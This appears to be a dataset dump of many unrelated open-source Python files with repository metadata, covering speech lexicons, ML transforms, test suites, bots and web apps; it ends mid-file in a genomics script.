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class |
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790af2f23140922bac8d9d20a58e89a9cdc76d25 | 19,129 | py | Python | egs/wsj/s5/utils/lang/make_lexicon_fst.py | shuipi100/kaldi | 8e30fddb300a87e7c79ef2c0b9c731a8a9fd23f0 | [
"Apache-2.0"
] | 74 | 2017-01-10T21:27:24.000Z | 2022-03-05T07:30:30.000Z | egs/wsj/s5/utils/lang/make_lexicon_fst.py | shuipi100/kaldi | 8e30fddb300a87e7c79ef2c0b9c731a8a9fd23f0 | [
"Apache-2.0"
] | 55 | 2020-10-20T02:18:56.000Z | 2021-07-26T04:52:23.000Z | egs/wsj/s5/utils/lang/make_lexicon_fst.py | shuipi100/kaldi | 8e30fddb300a87e7c79ef2c0b9c731a8a9fd23f0 | [
"Apache-2.0"
] | 28 | 2017-01-23T10:49:04.000Z | 2022-03-05T07:30:21.000Z | #!/usr/bin/env python3
# Copyright 2018 Johns Hopkins University (author: Daniel Povey)
# Apache 2.0.
# see get_args() below for usage message.
import argparse
import os
import sys
import math
import re
# The use of latin-1 encoding does not preclude reading utf-8. latin-1
# encoding means "treat words as sequen... | 46.429612 | 115 | 0.603429 |
import argparse
import os
import sys
import math
import re
sys.stdout = open(1, 'w', encoding='latin-1', closefd=False)
sys.stderr = open(2, 'w', encoding='latin-1', closefd=False)
def get_args():
parser = argparse.ArgumentParser(description="""This script creates the
text form of a lexicon FST,... | true | true |
790af397daafc9c5a23868ff8a12ad7ae0b28ccd | 1,710 | py | Python | vega/datasets/transforms/RandomMirrow_pair.py | jie311/vega | 1bba6100ead802697e691403b951e6652a99ccae | [
"MIT"
] | 724 | 2020-06-22T12:05:30.000Z | 2022-03-31T07:10:54.000Z | vega/datasets/transforms/RandomMirrow_pair.py | jie311/vega | 1bba6100ead802697e691403b951e6652a99ccae | [
"MIT"
] | 147 | 2020-06-30T13:34:46.000Z | 2022-03-29T11:30:17.000Z | vega/datasets/transforms/RandomMirrow_pair.py | jie311/vega | 1bba6100ead802697e691403b951e6652a99ccae | [
"MIT"
] | 160 | 2020-06-29T18:27:58.000Z | 2022-03-23T08:42:21.000Z | # -*- coding: utf-8 -*-
# Copyright (C) 2020. Huawei Technologies Co., Ltd. All rights reserved.
# This program is free software; you can redistribute it and/or modify
# it under the terms of the MIT License.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the... | 38.863636 | 106 | 0.65731 |
import numpy as np
from vega.common import ClassFactory, ClassType
@ClassFactory.register(ClassType.TRANSFORM)
class RandomMirrow_pair(object):
def __call__(self, image, label):
flip = np.random.choice(2) * 2 - 1
channels_image = image.shape[-1]
channels_label = label.shape[-1]
... | true | true |
790af5bb0ce3b02e55df6524c2c36c1ba99bae7f | 853 | py | Python | revitron/transaction.py | YKato521/revitron-for-RevitPythonShell | 031a87997a00902bf16ca9ef6bb05f5cae26e044 | [
"MIT"
] | null | null | null | revitron/transaction.py | YKato521/revitron-for-RevitPythonShell | 031a87997a00902bf16ca9ef6bb05f5cae26e044 | [
"MIT"
] | null | null | null | revitron/transaction.py | YKato521/revitron-for-RevitPythonShell | 031a87997a00902bf16ca9ef6bb05f5cae26e044 | [
"MIT"
] | null | null | null | """
The ``transaction`` submodule contains a wrapper class to simplify the usage of transactions::
t = revitron.Transaction()
...
t.close()
"""
# from pyrevit import script
class Transaction:
"""
A transaction helper class.
"""
def __init__(self):
"""
Inits a... | 21.325 | 95 | 0.532239 |
class Transaction:
def __init__(self):
import revitron
bundle = script.get_bundle_name().replace('.pushbutton', '')
self.transaction = revitron.DB.Transaction(revitron.DOC, bundle)
self.transaction.Start()
def commit(self):
self.tr... | true | true |
790af5c1ffd0a46710ca769801ece6193ae64d0f | 576 | py | Python | setup.py | tkhieu/pusher_client_python | 2af2ceee06daf5b95eed2833760143ebe5b91946 | [
"MIT"
] | null | null | null | setup.py | tkhieu/pusher_client_python | 2af2ceee06daf5b95eed2833760143ebe5b91946 | [
"MIT"
] | null | null | null | setup.py | tkhieu/pusher_client_python | 2af2ceee06daf5b95eed2833760143ebe5b91946 | [
"MIT"
] | null | null | null | from setuptools import setup
setup(
name='pusher',
version='0.8',
description='A Python library for sending messages to Pusher',
author='Pusher',
author_email='support@pusher.com',
url='http://pusher.com',
packages=['pusher'],
classifiers=[
"License :: OSI Approved :: MIT Licens... | 27.428571 | 66 | 0.616319 | from setuptools import setup
setup(
name='pusher',
version='0.8',
description='A Python library for sending messages to Pusher',
author='Pusher',
author_email='support@pusher.com',
url='http://pusher.com',
packages=['pusher'],
classifiers=[
"License :: OSI Approved :: MIT Licens... | true | true |
790af7237a25c95231de99572d94e2ea9aacf918 | 10,878 | py | Python | 7. Using Reward for Agent/reward_agent.py | Yudonggeun/PySC2-Tutorial | 80449c3b5774a58e8ee6490379890e9abd60a11a | [
"Apache-2.0"
] | 2 | 2018-11-13T14:17:47.000Z | 2018-11-14T12:37:20.000Z | 7. Using Reward for Agent/reward_agent.py | Tao-Chengyang/PySC2-Tutorial | 80449c3b5774a58e8ee6490379890e9abd60a11a | [
"Apache-2.0"
] | null | null | null | 7. Using Reward for Agent/reward_agent.py | Tao-Chengyang/PySC2-Tutorial | 80449c3b5774a58e8ee6490379890e9abd60a11a | [
"Apache-2.0"
] | 1 | 2019-09-02T08:15:43.000Z | 2019-09-02T08:15:43.000Z | import random
import math
import os.path
import numpy as np
import pandas as pd
from pysc2.agents import base_agent
from pysc2.lib import actions
from pysc2.lib import features
_NO_OP = actions.FUNCTIONS.no_op.id
_SELECT_POINT = actions.FUNCTIONS.select_point.id
_BUILD_SUPPLY_DEPOT = actions.FUNCTIONS.Build_SupplyDe... | 36.503356 | 119 | 0.602041 | import random
import math
import os.path
import numpy as np
import pandas as pd
from pysc2.agents import base_agent
from pysc2.lib import actions
from pysc2.lib import features
_NO_OP = actions.FUNCTIONS.no_op.id
_SELECT_POINT = actions.FUNCTIONS.select_point.id
_BUILD_SUPPLY_DEPOT = actions.FUNCTIONS.Build_SupplyDe... | true | true |
790af7bd2d5fe80e00cfb7791746b8974f1179bf | 9,230 | py | Python | examples/example_02_categorical.py | jcheong0428/pymer4 | 7e98fa28f5fdc01e8f786e381179c6b36067ef90 | [
"MIT"
] | 127 | 2017-06-02T16:49:38.000Z | 2022-03-18T03:45:55.000Z | examples/example_02_categorical.py | jarrelscy/pymer4 | 248c25c0c17918c7a2ed61d86f42f7188e9aad94 | [
"MIT"
] | 90 | 2017-05-08T07:30:24.000Z | 2022-03-29T18:26:18.000Z | examples/example_02_categorical.py | jarrelscy/pymer4 | 248c25c0c17918c7a2ed61d86f42f7188e9aad94 | [
"MIT"
] | 26 | 2017-11-23T17:41:49.000Z | 2022-03-04T16:10:55.000Z | """
2. Categorical Predictors
=========================
"""
###############################################################################
# The syntax for handling categorical predictors is **different** between standard regression models/two-stage-models (i.e. :code:`Lm` and :code:`Lm2`) and multi-level models (:co... | 69.398496 | 843 | 0.638245 | true | true | |
790af93b3af2ccf93c2c689dc115ea0a93b74347 | 777 | py | Python | userbot/plugins/bot_stats.py | felapr1804/TechnoAyanBOT | 74faac1aae1c350b0583a5e6405b414d6947162c | [
"MIT"
] | null | null | null | userbot/plugins/bot_stats.py | felapr1804/TechnoAyanBOT | 74faac1aae1c350b0583a5e6405b414d6947162c | [
"MIT"
] | null | null | null | userbot/plugins/bot_stats.py | felapr1804/TechnoAyanBOT | 74faac1aae1c350b0583a5e6405b414d6947162c | [
"MIT"
] | null | null | null | # @ayushk780
# Big Thanks To Spechide and @TechnoAyanBoT
"""Counth: Avaible commands: .bstats
"""
import asyncio
from telethon import events
from uniborg.util import admin_cmd, humanbytes,get_readable_time
import shutil
import time
from userbot import botStartTime
@borg.on(admin_cmd(pattern=r"bstats"))
async def _(e... | 25.9 | 65 | 0.646075 |
import asyncio
from telethon import events
from uniborg.util import admin_cmd, humanbytes,get_readable_time
import shutil
import time
from userbot import botStartTime
@borg.on(admin_cmd(pattern=r"bstats"))
async def _(event):
if event.fwd_from:
return
currentTime = get_readable_time((time.time... | true | true |
790afb6e4dca3da075a86e2048b42967f34a0fb7 | 1,427 | py | Python | Lights/adafruit-circuitpython-bundle-6.x-mpy-20210310/examples/lis3dh_adc.py | IanSMoyes/SpiderPi | cc3469980ae87b92d0dc43c05dbd579f0fa8c4b1 | [
"Apache-2.0"
] | 7 | 2021-03-15T10:06:20.000Z | 2022-03-23T02:53:15.000Z | Lights/adafruit-circuitpython-bundle-6.x-mpy-20210310/examples/lis3dh_adc.py | IanSMoyes/SpiderPi | cc3469980ae87b92d0dc43c05dbd579f0fa8c4b1 | [
"Apache-2.0"
] | 5 | 2021-04-27T18:21:11.000Z | 2021-05-02T14:17:14.000Z | Lights/adafruit-circuitpython-bundle-6.x-mpy-20210310/examples/lis3dh_adc.py | IanSMoyes/SpiderPi | cc3469980ae87b92d0dc43c05dbd579f0fa8c4b1 | [
"Apache-2.0"
] | null | null | null | # SPDX-FileCopyrightText: 2021 ladyada for Adafruit Industries
# SPDX-License-Identifier: MIT
# Analog to digital converter example.
# Will loop forever printing ADC channel 1 raw and mV values every second.
# NOTE the ADC can only read voltages in the range of ~900mV to 1800mV!
import time
import board
impo... | 32.431818 | 85 | 0.715487 |
import time
import board
import busio
import adafruit_lis3dh
if hasattr(board, "ACCELEROMETER_SCL"):
i2c = busio.I2C(board.ACCELEROMETER_SCL, board.ACCELEROMETER_SDA)
lis3dh = adafruit_lis3dh.LIS3DH_I2C(i2c, address=0x19)
else:
i2c = busio.I2C(board.SCL, board.SDA)
lis3dh = a... | true | true |
790afb8cdb3bfff53ceaff937c98d36c80e733ff | 79,390 | py | Python | tests/textcode/test_analysis.py | pombredanne/scancode-toolkit | 0d90a0498148997de94f92b00adf7e33079a41a8 | [
"Apache-2.0",
"CC0-1.0"
] | 3 | 2015-07-01T15:08:33.000Z | 2015-11-05T03:15:36.000Z | tests/textcode/test_analysis.py | pombredanne/scancode-toolkit | 0d90a0498148997de94f92b00adf7e33079a41a8 | [
"Apache-2.0",
"CC0-1.0"
] | null | null | null | tests/textcode/test_analysis.py | pombredanne/scancode-toolkit | 0d90a0498148997de94f92b00adf7e33079a41a8 | [
"Apache-2.0",
"CC0-1.0"
] | null | null | null | #
# Copyright (c) 2015 nexB Inc. and others. All rights reserved.
# http://nexb.com and https://github.com/nexB/scancode-toolkit/
# The ScanCode software is licensed under the Apache License version 2.0.
# Data generated with ScanCode require an acknowledgment.
# ScanCode is a trademark of nexB Inc.
#
# You may not use... | 63.972603 | 143 | 0.649402 |
from __future__ import absolute_import, print_function
import json
import os
import codecs
import cPickle
from unittest.case import skipIf
from commoncode.testcase import FileBasedTesting
from textcode.analysis import DEFAULT_GAP
from textcode.analysis import NO_GAP
from textcode.analysis imp... | true | true |
790afbc9aeeb08b0b8b41599887496d1db936b30 | 630 | py | Python | BasicOperations/05_Pandas/05_Pandas_02_groupby.py | UpSea/midProjects | ed6086e74f68b1b89f725abe0b270e67cf8993a8 | [
"MIT"
] | 1 | 2018-07-02T13:54:49.000Z | 2018-07-02T13:54:49.000Z | BasicOperations/05_Pandas/05_Pandas_02_groupby.py | UpSea/midProjects | ed6086e74f68b1b89f725abe0b270e67cf8993a8 | [
"MIT"
] | null | null | null | BasicOperations/05_Pandas/05_Pandas_02_groupby.py | UpSea/midProjects | ed6086e74f68b1b89f725abe0b270e67cf8993a8 | [
"MIT"
] | 3 | 2016-05-28T15:13:02.000Z | 2021-04-10T06:04:25.000Z | import pandas as pd
import numpy as np
df = pd.DataFrame(np.random.randn(10,3),columns=['a','b','c'],index=list('abcdefghij'))
print(df)
df.ix[::2,0] = np.nan; df.ix[::4,1] = np.nan; df.ix[::3,2] = np.nan;
df = df.dropna(subset=['a','b']) #mid delete rows where df['htm3']==na
bins = np.arange(-3,3,0.1)
bins = [-10... | 26.25 | 87 | 0.631746 | import pandas as pd
import numpy as np
df = pd.DataFrame(np.random.randn(10,3),columns=['a','b','c'],index=list('abcdefghij'))
print(df)
df.ix[::2,0] = np.nan; df.ix[::4,1] = np.nan; df.ix[::3,2] = np.nan;
df = df.dropna(subset=['a','b'])
bins = np.arange(-3,3,0.1)
bins = [-100,0,100]
indices = np.digitize(df.a,b... | true | true |
790afc2450ce2af23351778162b454ecb9eac51c | 1,375 | py | Python | __init__.py | wolfy1339/Kenni | 5885b5e600c6cb4a1db2ad82ec0f5b24d3fc0b4f | [
"EFL-2.0"
] | null | null | null | __init__.py | wolfy1339/Kenni | 5885b5e600c6cb4a1db2ad82ec0f5b24d3fc0b4f | [
"EFL-2.0"
] | null | null | null | __init__.py | wolfy1339/Kenni | 5885b5e600c6cb4a1db2ad82ec0f5b24d3fc0b4f | [
"EFL-2.0"
] | null | null | null | #!/usr/bin/env python3
import sys, os, time, threading, signal
import bot
class Watcher(object):
# Cf. http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/496735
def __init__(self):
self.child = os.fork()
if self.child != 0:
self.watch()
def watch(self):
try: os.wai... | 24.122807 | 80 | 0.584 |
import sys, os, time, threading, signal
import bot
class Watcher(object):
def __init__(self):
self.child = os.fork()
if self.child != 0:
self.watch()
def watch(self):
try: os.wait()
except KeyboardInterrupt:
self.kill()
sys.exit()
def ... | true | true |
790afd1d19d32dd258ab61a4b68347d143f85086 | 6,633 | py | Python | app/recipe/tests/test_recipe_api.py | jamie-chapman/django-exercise-recipe-app | 0ad569c747ca3dc538dbda1d1035a2d2c438f43b | [
"MIT"
] | null | null | null | app/recipe/tests/test_recipe_api.py | jamie-chapman/django-exercise-recipe-app | 0ad569c747ca3dc538dbda1d1035a2d2c438f43b | [
"MIT"
] | null | null | null | app/recipe/tests/test_recipe_api.py | jamie-chapman/django-exercise-recipe-app | 0ad569c747ca3dc538dbda1d1035a2d2c438f43b | [
"MIT"
] | null | null | null | from django.test import TestCase
from django.urls import reverse
from rest_framework.test import APIClient
from rest_framework import status
from core.models import Recipe, Ingredient
RECIPE_URL = reverse('recipe:recipe-list')
def recipe_url(id):
"""Construct URL for a single recipe based on its ID"""
retu... | 31.889423 | 79 | 0.599276 | from django.test import TestCase
from django.urls import reverse
from rest_framework.test import APIClient
from rest_framework import status
from core.models import Recipe, Ingredient
RECIPE_URL = reverse('recipe:recipe-list')
def recipe_url(id):
return reverse('recipe:recipe-detail', args=[id])
def create_s... | true | true |
790afdca3defef0b96aa368a82626bcd7132e02d | 4,324 | py | Python | cogs/errorhandler.py | ZackHart2400/miso-bot | bbdcf65e1c5ed1dfe472f91804dcc39ae556dd83 | [
"MIT"
] | null | null | null | cogs/errorhandler.py | ZackHart2400/miso-bot | bbdcf65e1c5ed1dfe472f91804dcc39ae556dd83 | [
"MIT"
] | null | null | null | cogs/errorhandler.py | ZackHart2400/miso-bot | bbdcf65e1c5ed1dfe472f91804dcc39ae556dd83 | [
"MIT"
] | null | null | null | import traceback
import discord
import asyncio
from discord.ext import commands, flags
from helpers import exceptions, log, utilityfunctions as util
from data import database as db
logger = log.get_logger(__name__)
command_logger = log.get_logger("commands")
class Events(commands.Cog):
def __init__(self, bot):
... | 37.929825 | 113 | 0.598289 | import traceback
import discord
import asyncio
from discord.ext import commands, flags
from helpers import exceptions, log, utilityfunctions as util
from data import database as db
logger = log.get_logger(__name__)
command_logger = log.get_logger("commands")
class Events(commands.Cog):
def __init__(self, bot):
... | true | true |
790afdcdd7b5cfeedf70ea27145720e97263e4f9 | 1,445 | py | Python | saleor/invoice/notifications.py | nestfiy/saleor | 6fce3bc5c0ca72ac28db99553e6d2b49249c6dac | [
"CC-BY-4.0"
] | 1,392 | 2021-10-06T15:54:28.000Z | 2022-03-31T20:50:55.000Z | saleor/invoice/notifications.py | nestfiy/saleor | 6fce3bc5c0ca72ac28db99553e6d2b49249c6dac | [
"CC-BY-4.0"
] | 888 | 2021-10-06T10:48:54.000Z | 2022-03-31T11:00:30.000Z | saleor/invoice/notifications.py | nestfiy/saleor | 6fce3bc5c0ca72ac28db99553e6d2b49249c6dac | [
"CC-BY-4.0"
] | 538 | 2021-10-07T16:21:27.000Z | 2022-03-31T22:58:57.000Z | from typing import TYPE_CHECKING, Optional
from ..core.notification.utils import get_site_context
from ..core.notify_events import NotifyEventType
from ..graphql.core.utils import to_global_id_or_none
if TYPE_CHECKING:
from ..account.models import User
from ..app.models import App
from ..plugins.manager i... | 32.111111 | 85 | 0.703806 | from typing import TYPE_CHECKING, Optional
from ..core.notification.utils import get_site_context
from ..core.notify_events import NotifyEventType
from ..graphql.core.utils import to_global_id_or_none
if TYPE_CHECKING:
from ..account.models import User
from ..app.models import App
from ..plugins.manager i... | true | true |
790aff716ab055d6948c46123148d87a7e4705e8 | 1,069 | py | Python | google/ads/googleads/v8/services/services/hotel_group_view_service/transports/__init__.py | wxxlouisa/google-ads-python | f24137966f6bfcb765a9b1fae79f2d23041825fe | [
"Apache-2.0"
] | 285 | 2018-10-05T16:47:58.000Z | 2022-03-31T00:58:39.000Z | google/ads/googleads/v8/services/services/hotel_group_view_service/transports/__init__.py | wxxlouisa/google-ads-python | f24137966f6bfcb765a9b1fae79f2d23041825fe | [
"Apache-2.0"
] | 425 | 2018-09-10T13:32:41.000Z | 2022-03-31T14:50:05.000Z | google/ads/googleads/v8/services/services/hotel_group_view_service/transports/__init__.py | wxxlouisa/google-ads-python | f24137966f6bfcb765a9b1fae79f2d23041825fe | [
"Apache-2.0"
] | 369 | 2018-11-28T07:01:00.000Z | 2022-03-28T09:53:22.000Z | # -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | 31.441176 | 74 | 0.77362 |
from collections import OrderedDict
from typing import Dict, Type
from .base import HotelGroupViewServiceTransport
from .grpc import HotelGroupViewServiceGrpcTransport
_transport_registry = (
OrderedDict()
)
_transport_registry["grpc"] = HotelGroupViewServiceGrpcTransport
__all__ = (
"Hot... | true | true |
790aff9d5310c04a944f7830aa3dbdbd7daeda78 | 467 | py | Python | filter_contigs.py | MullinsLab/HHV8-assembly-SPades | 74f5853bd1e7c1af7f306343ebcd9ac919fda92f | [
"MIT"
] | 7 | 2016-10-05T23:43:33.000Z | 2021-07-06T18:36:41.000Z | filter_contigs.py | MullinsLab/HHV8-assembly-SPades | 74f5853bd1e7c1af7f306343ebcd9ac919fda92f | [
"MIT"
] | 1 | 2015-11-25T07:14:24.000Z | 2016-01-28T15:07:41.000Z | filter_contigs.py | MullinsLab/HHV8-assembly-SPades | 74f5853bd1e7c1af7f306343ebcd9ac919fda92f | [
"MIT"
] | 4 | 2016-10-11T17:34:51.000Z | 2020-03-16T14:26:36.000Z | #!/usr/bin/env python
import sys
from Bio import SeqIO
min_length, fasta_file_path = sys.argv[1:]
with open(fasta_file_path.replace('fa', 'filter{}.fa'.format(min_length)), 'w') as filtered_fasta:
with open(fasta_file_path, 'rU') as input_fasta:
def filtered_contigs_generator(min):
for contig in SeqIO.parse(input... | 38.916667 | 98 | 0.745182 |
import sys
from Bio import SeqIO
min_length, fasta_file_path = sys.argv[1:]
with open(fasta_file_path.replace('fa', 'filter{}.fa'.format(min_length)), 'w') as filtered_fasta:
with open(fasta_file_path, 'rU') as input_fasta:
def filtered_contigs_generator(min):
for contig in SeqIO.parse(input_fasta, 'fasta'):
... | true | true |
790affc4694b91c99c2711674937cfa282c5fc8f | 25,716 | py | Python | pysnmp-with-texts/INT-SERV-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 8 | 2019-05-09T17:04:00.000Z | 2021-06-09T06:50:51.000Z | pysnmp-with-texts/INT-SERV-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 4 | 2019-05-31T16:42:59.000Z | 2020-01-31T21:57:17.000Z | pysnmp-with-texts/INT-SERV-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 10 | 2019-04-30T05:51:36.000Z | 2022-02-16T03:33:41.000Z | #
# PySNMP MIB module INT-SERV-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/INT-SERV-MIB
# Produced by pysmi-0.3.4 at Wed May 1 12:18:45 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019,... | 129.878788 | 2,054 | 0.780876 |
ObjectIdentifier, OctetString, Integer = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "OctetString", "Integer")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
ValueRangeConstraint, ConstraintsUnion, SingleValueConstraint, ConstraintsIntersection, ValueSizeConstraint = mibBuild... | true | true |
790b019a1dd927ca2c40f6dbe2c1d45b69a5be99 | 8,792 | py | Python | Python/IFRA.py | iMohannad/Random_Recording_Algorithm | 138113dab004fdaac36d91968a01d8e2c6e34681 | [
"MIT"
] | null | null | null | Python/IFRA.py | iMohannad/Random_Recording_Algorithm | 138113dab004fdaac36d91968a01d8e2c6e34681 | [
"MIT"
] | null | null | null | Python/IFRA.py | iMohannad/Random_Recording_Algorithm | 138113dab004fdaac36d91968a01d8e2c6e34681 | [
"MIT"
] | null | null | null | import math
import random
import time
def average_density(rdr):
countZeros = 0
length = 0
for i in rdr:
length = length + 1
if (i == 0):
countZeros = countZeros + 1
return [length - countZeros, length]
def check_rdr(rdr):
for i in range (0, len(rdr)-1):
... | 42.679612 | 968 | 0.535942 | import math
import random
import time
def average_density(rdr):
countZeros = 0
length = 0
for i in rdr:
length = length + 1
if (i == 0):
countZeros = countZeros + 1
return [length - countZeros, length]
def check_rdr(rdr):
for i in range (0, len(rdr)-1):
... | false | true |
790b01b1c205b5dea6dd4f8d22dcd97188b5f521 | 4,031 | py | Python | object_detection_app.py | Prasad9/Detect-Flags-SSD | c0d662bde99ed8df33d72bd06d61d5eb869d31a5 | [
"MIT"
] | 13 | 2017-11-08T07:09:13.000Z | 2022-03-28T07:09:47.000Z | object_detection_app.py | Prasad9/Detect-Flags-SSD | c0d662bde99ed8df33d72bd06d61d5eb869d31a5 | [
"MIT"
] | 3 | 2018-03-08T04:30:19.000Z | 2019-01-03T15:47:24.000Z | object_detection_app.py | Prasad9/Detect-Flags-SSD | c0d662bde99ed8df33d72bd06d61d5eb869d31a5 | [
"MIT"
] | 5 | 2018-01-15T15:26:44.000Z | 2021-08-18T08:02:51.000Z | import os
import cv2
import time
import argparse
import multiprocessing
import numpy as np
import tools.find_mxnet
import mxnet as mx
import sys
from detect.image_detector import ImageDetector
from symbol.symbol_factory import get_symbol
from utils import WebcamVideoStream
class_names = 'Argentina, Australia, Bhutan,... | 41.556701 | 112 | 0.711734 | import os
import cv2
import time
import argparse
import multiprocessing
import numpy as np
import tools.find_mxnet
import mxnet as mx
import sys
from detect.image_detector import ImageDetector
from symbol.symbol_factory import get_symbol
from utils import WebcamVideoStream
class_names = 'Argentina, Australia, Bhutan,... | true | true |
790b01d343e3c9f073136f2bbba4dff70bc167a1 | 7,604 | py | Python | data/crop_and_pad_augmentations.py | rexxxx1234/SAUNet-demo | 20e968e1d42217c89cdf4fc304ed2d8717697eec | [
"BSD-3-Clause"
] | 81 | 2020-01-22T20:26:36.000Z | 2022-03-03T09:34:17.000Z | data/crop_and_pad_augmentations.py | saunetcvpr2020/shape-attentive-unet | c309fd705fd7b572c80813ab688cc594ed026ad7 | [
"BSD-3-Clause"
] | 10 | 2020-04-22T15:47:11.000Z | 2021-09-05T02:24:41.000Z | data/crop_and_pad_augmentations.py | rexxxx1234/SAUNet-demo | 20e968e1d42217c89cdf4fc304ed2d8717697eec | [
"BSD-3-Clause"
] | 18 | 2020-01-23T07:24:35.000Z | 2021-09-17T08:46:09.000Z | # Copyright 2017 Division of Medical Image Computing, German Cancer Research Center (DKFZ)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#... | 44.209302 | 121 | 0.642951 |
from builtins import range
import numpy as np
from batchgenerators.augmentations.utils import pad_nd_image
def center_crop(data, crop_size, seg=None):
return crop(data, seg, crop_size, 0, 'center')
def get_lbs_for_random_crop(crop_size, data_shape, margins):
lbs = []
for i in range(len(dat... | true | true |
790b02247d23dd0853cbf0a6b0028ba2c23b6b70 | 4,497 | py | Python | tests/test_ipc.py | benoitc/pyuv | 51a2f8687e3b6cd54af5ce81aabfc00b7fe40a18 | [
"MIT"
] | 1 | 2020-01-21T11:10:38.000Z | 2020-01-21T11:10:38.000Z | tests/test_ipc.py | benoitc/pyuv | 51a2f8687e3b6cd54af5ce81aabfc00b7fe40a18 | [
"MIT"
] | null | null | null | tests/test_ipc.py | benoitc/pyuv | 51a2f8687e3b6cd54af5ce81aabfc00b7fe40a18 | [
"MIT"
] | null | null | null |
import sys
from common import unittest2, platform_skip
import pyuv
TEST_PORT = 1234
if sys.platform == 'win32':
TEST_PIPE = '\\\\.\\pipe\\test-pipe'
else:
TEST_PIPE = 'test-pipe'
@platform_skip(["win32"])
class IPCTest(unittest2.TestCase):
def setUp(self):
self.loop = pyuv.Loop.default_loop()... | 37.165289 | 136 | 0.648655 |
import sys
from common import unittest2, platform_skip
import pyuv
TEST_PORT = 1234
if sys.platform == 'win32':
TEST_PIPE = '\\\\.\\pipe\\test-pipe'
else:
TEST_PIPE = 'test-pipe'
@platform_skip(["win32"])
class IPCTest(unittest2.TestCase):
def setUp(self):
self.loop = pyuv.Loop.default_loop()... | true | true |
790b035b77f1a16e7ef28d292d46cfac5ec2ace2 | 11,257 | py | Python | src/eduid_userdb/tests/test_logs.py | SUNET/eduid-userdb | 5970880caf0b0e2bdee6c23869ef287acc87af2a | [
"BSD-2-Clause-FreeBSD"
] | null | null | null | src/eduid_userdb/tests/test_logs.py | SUNET/eduid-userdb | 5970880caf0b0e2bdee6c23869ef287acc87af2a | [
"BSD-2-Clause-FreeBSD"
] | 12 | 2015-08-28T12:05:32.000Z | 2020-06-23T13:31:29.000Z | src/eduid_userdb/tests/test_logs.py | SUNET/eduid-userdb | 5970880caf0b0e2bdee6c23869ef287acc87af2a | [
"BSD-2-Clause-FreeBSD"
] | 2 | 2016-10-24T06:37:33.000Z | 2016-11-21T11:39:39.000Z | # -*- coding: utf-8 -*-
from copy import deepcopy
from unittest import TestCase
from eduid_userdb.fixtures.users import mocked_user_standard
from eduid_userdb.logs.db import ProofingLog
from eduid_userdb.logs.element import (
LetterProofing,
MailAddressProofing,
PhoneNumberProofing,
ProofingLogElement... | 40.203571 | 99 | 0.616416 |
from copy import deepcopy
from unittest import TestCase
from eduid_userdb.fixtures.users import mocked_user_standard
from eduid_userdb.logs.db import ProofingLog
from eduid_userdb.logs.element import (
LetterProofing,
MailAddressProofing,
PhoneNumberProofing,
ProofingLogElement,
SeLegProofing,
... | true | true |
790b036e68901d1876285f11feba3daadc8966dd | 1,795 | py | Python | aioanticaptcha/geetestproxyon.py | andrersp/aioanticaptcha | a9ec56ecd75371c9efed87eb874c3276b60e5461 | [
"MIT"
] | null | null | null | aioanticaptcha/geetestproxyon.py | andrersp/aioanticaptcha | a9ec56ecd75371c9efed87eb874c3276b60e5461 | [
"MIT"
] | null | null | null | aioanticaptcha/geetestproxyon.py | andrersp/aioanticaptcha | a9ec56ecd75371c9efed87eb874c3276b60e5461 | [
"MIT"
] | null | null | null | from aioanticaptcha.antinetworking import *
import asyncio
class geetestProxyon(antiNetworking):
js_api_domain = ""
gt = ""
challenge = ""
geetest_lib = ""
async def solve_and_return_solution(self):
if (
await self.create_task(
{
"clientKey... | 30.423729 | 72 | 0.494708 | from aioanticaptcha.antinetworking import *
import asyncio
class geetestProxyon(antiNetworking):
js_api_domain = ""
gt = ""
challenge = ""
geetest_lib = ""
async def solve_and_return_solution(self):
if (
await self.create_task(
{
"clientKey... | true | true |
790b038deca2b72154b1317ed77167b94ea5b07b | 1,373 | py | Python | app/auth/views.py | mwerumuchai/jukebox | eb6e7e94fb4a228e3b66477ca2ed0fcbe4c44691 | [
"MIT"
] | null | null | null | app/auth/views.py | mwerumuchai/jukebox | eb6e7e94fb4a228e3b66477ca2ed0fcbe4c44691 | [
"MIT"
] | null | null | null | app/auth/views.py | mwerumuchai/jukebox | eb6e7e94fb4a228e3b66477ca2ed0fcbe4c44691 | [
"MIT"
] | 2 | 2018-10-26T20:08:04.000Z | 2020-07-23T22:08:43.000Z | from flask import render_template,redirect,url_for,request,flash
from . import auth
from ..models import Group
from .forms import RegistrationForm,LoginForm
from .. import db
from flask_login import login_user,logout_user,login_required
@auth.route('/login', methods=["GET", "POST"])
def login():
login_form = Logi... | 24.517857 | 91 | 0.697742 | from flask import render_template,redirect,url_for,request,flash
from . import auth
from ..models import Group
from .forms import RegistrationForm,LoginForm
from .. import db
from flask_login import login_user,logout_user,login_required
@auth.route('/login', methods=["GET", "POST"])
def login():
login_form = Logi... | true | true |
790b052bd7820426511155774e42497715bf9ea3 | 9,377 | py | Python | genecast_package/core.py | 861934367/genecast | b4c5710aef526f4e3bdf0ba3594dab583068eca3 | [
"Apache-2.0"
] | null | null | null | genecast_package/core.py | 861934367/genecast | b4c5710aef526f4e3bdf0ba3594dab583068eca3 | [
"Apache-2.0"
] | null | null | null | genecast_package/core.py | 861934367/genecast | b4c5710aef526f4e3bdf0ba3594dab583068eca3 | [
"Apache-2.0"
] | null | null | null | ## this tool is the core function of cnv and snv analysis
## author: taozhou
## email: zhou.tao@genecast.com.cn
import matplotlib as mpl
mpl.use('Agg')
